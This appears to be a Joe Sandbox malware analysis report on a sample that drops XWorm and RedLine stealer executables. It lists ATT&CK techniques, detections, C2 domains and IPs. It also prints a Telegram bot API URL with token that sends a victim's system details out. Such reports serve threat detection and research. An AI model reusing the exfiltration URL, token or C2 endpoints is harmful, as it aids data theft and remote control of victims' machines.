File source: Process Memory Space: YsrQekGS.exe PID: 6564, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 4.0.YsrQekGS.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.1666725019.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2912640995.0000000002756000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Ekpb7jn7mf.exe PID: 6356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: YsrQekGS.exe PID: 6564, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	Boot or Logon Initialization Scripts	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	1 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	11 Process Injection	21 Obfuscated Files or Information	Security Account Manager	137 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	21 Software Packing	NTDS	341 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	11 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	241 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	14 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Ekpb7jn7mf.exe	66%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
Ekpb7jn7mf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	92%	ReversingLabs	ByteCode-MSIL.Backdoor.XWorm
C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	96%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine

Source	Detection	Scanner	Label
http://schemas.mic	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/actor/next	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	Avira URL Cloud	safe
45.88.186.18	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6973607627:AAGW_Zx412oiEhjCq5cqO_ZHLESeW8b4re4/sendMessage?chat_id=66784	0%	Avira URL Cloud	safe
http://pst-child.gl.at.ply.gg:9336	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdates	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	Avira URL Cloud	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	Avira URL Cloud	safe
pst-child.gl.at.ply.gg:9336	0%	Avira URL Cloud	safe
http://tempuri.org/0	0%	Avira URL Cloud	safe
http://crl.micft.cMicRosof	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://ipinfo.io/ip%appdata%	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6973607627:AAGW_Zx412oiEhjCq5cqO_ZHLESeW8b4re4/sendMessage?chat_id=6678411703&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AA15D1E2A246FDDBBF74C%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%2042ZXX86W9%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6	0%	Avira URL Cloud	safe
https://api.ip.sb	0%	Avira URL Cloud	safe
http://crl.mic	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnect	0%	Avira URL Cloud	safe
http://pst-child.gl.at.ply.gg:9336/	0%	Avira URL Cloud	safe
https://ion=v4.5	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	Avira URL Cloud	safe
http://pst-child.gl.at.ply.gg	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pst-child.gl.at.ply.gg	147.185.221.20	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
api.ip.sb	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
45.88.186.18	true	Avira URL Cloud: safe	unknown
pst-child.gl.at.ply.gg:9336	true	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot6973607627:AAGW_Zx412oiEhjCq5cqO_ZHLESeW8b4re4/sendMessage?chat_id=6678411703&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0AA15D1E2A246FDDBBF74C%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%2042ZXX86W9%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6	false	Avira URL Cloud: safe	unknown
http://pst-child.gl.at.ply.gg:9336/	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://schemas.mic	powershell.exe, 0000000D.00000002.1800097184.00000205807EB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	YsrQekGS.exe, 00000004.00000002.2912640995.00000000026F1000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	Ekpb7jn7mf.exe, 00000000.00000003.1664010699.0000000003FCE000.00000004.00000020.00020000.00000000.sdmp, YsrQekGS.exe, 00000004.00000000.1666725019.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, YsrQekGS.exe, 00000004.00000002.2912640995.00000000026F1000.00000004.00000800.00020000.00000000.sdmp, YsrQekGS.exe.0.dr	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pst-child.gl.at.ply.gg:9336	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettings	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot6973607627:AAGW_Zx412oiEhjCq5cqO_ZHLESeW8b4re4/sendMessage?chat_id=66784	YsrQekGS.exe, 00000004.00000002.2912640995.00000000026F1000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000000D.00000002.1896915778.00000205F7F64000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002C31000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.orgcookies//settinString.Removeg	wjoqZlIS.exe, 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, wjoqZlIS.exe.0.dr	true	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 0000000D.00000002.1896915778.00000205F7F64000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000A.00000002.1759686805.000002174EF13000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1896915778.00000205F7F64000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/0	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micft.cMicRosof	powershell.exe, 0000000D.00000002.1800097184.00000205807C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, YsrQekGS.exe, 00000004.00000002.2912640995.00000000026F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1739488463.000002173EEA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1803205726.00000205E7EF1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/ip%appdata%	wjoqZlIS.exe, 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, wjoqZlIS.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000A.00000002.1759686805.000002174EF13000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1896915778.00000205F7F64000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000D.00000002.1803205726.00000205E8118000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000A.00000002.1739488463.000002173F0C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1803205726.00000205E8118000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnectResponse	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000D.00000002.1803205726.00000205E8118000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	wjoqZlIS.exe, 00000002.00000000.1666359805.0000000000902000.00000002.00000001.01000000.00000008.sdmp, wjoqZlIS.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://api.ip.sb	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.mic	powershell.exe, 0000000D.00000002.1800097184.00000205807C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000D.00000002.1896915778.00000205F7F64000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000D.00000002.1803205726.00000205E8118000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ion=v4.5	powershell.exe, 0000000A.00000002.1768144280.00000217574C3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000A.00000002.1739488463.000002173F0C9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1803205726.00000205E8118000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pst-child.gl.at.ply.gg	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 0000000A.00000002.1739488463.000002173EEA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1803205726.00000205E7EF1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, wjoqZlIS.exe, 00000002.00000002.1838174434.0000000003DDD000.00000004.00000800.00020000.00000000.sdmp, tmpFC87.tmp.2.dr, tmp331E.tmp.2.dr, tmpFCCA.tmp.2.dr, tmpFCDA.tmp.2.dr, tmpC5B6.tmp.2.dr, tmpFC77.tmp.2.dr, tmp3350.tmp.2.dr, tmp333F.tmp.2.dr, tmpFCA9.tmp.2.dr, tmpFC98.tmp.2.dr, tmpFCAA.tmp.2.dr, tmp332F.tmp.2.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/actor/next	wjoqZlIS.exe, 00000002.00000002.1819886005.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
45.88.186.18	unknown	Netherlands	34962	ANONYMIZEEpikNetworkCH	true
147.185.221.20	pst-child.gl.at.ply.gg	United States	12087	SALSGIVERUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1474423
Start date and time:	2024-07-16 21:06:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ekpb7jn7mf.exe renamed because original name is a hash value
Original Sample Name:	4CE2C0836C46C61B588972B56A23D5E2.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@15/57@3/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 99% Number of executed functions: 110 Number of non-executed functions: 94
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.26.12.31, 104.26.13.31, 172.67.75.172
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7380 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7720 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: Ekpb7jn7mf.exe

Simulations

Behavior and APIs

Time	Type	Description
15:07:04	API Interceptor	30x Sleep call for process: powershell.exe modified
15:07:08	API Interceptor	48x Sleep call for process: wjoqZlIS.exe modified
15:07:26	API Interceptor	2976867x Sleep call for process: YsrQekGS.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.154.167.220	Revised PI_2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	rVesselSchedule.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	bodrum_buro.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Proforma fatura.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	New order 01.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://choicesfdc.com.au/readm.html?colors=c2FyYS5nZWlnZXJAc2JhZmxhLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	rTransaction_ReceiptCopy.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	Brnesde.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	NewOrder_LCL240887.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
